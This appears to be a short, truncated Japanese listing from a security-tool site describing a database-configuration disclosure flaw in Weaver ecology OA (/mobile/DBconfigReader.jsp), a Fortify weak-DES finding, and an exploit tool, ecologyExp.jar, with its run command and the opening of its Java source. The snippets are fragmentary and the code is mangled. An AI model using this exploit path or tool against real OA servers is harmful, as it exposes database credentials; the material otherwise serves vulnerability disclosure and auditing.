DBconfigReader

泛微ecology OAシステムのインターフェースにデータベース設定情報漏えいの脆弱性が存在する /mobile/DBconfigReader.jsp http://x.x.x.x:8090/mobile/DBconfigReader.jsp Fortify コード監査 検出 - 弱い暗号化アルゴリズム SecretKey key = SecretKeyFactory.getInstance"DES".generateSecretdks1; root@kitploit: % String conStr=Prop.getPropValue"weaver","ecology.url";...

ecologyExp.jar

ecologyExp.jar 泛微OAデータベース設定ファイルの読み取り java -jar ecologyExp.jar http://127.0.0.1 ソースコード package com.test; import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import...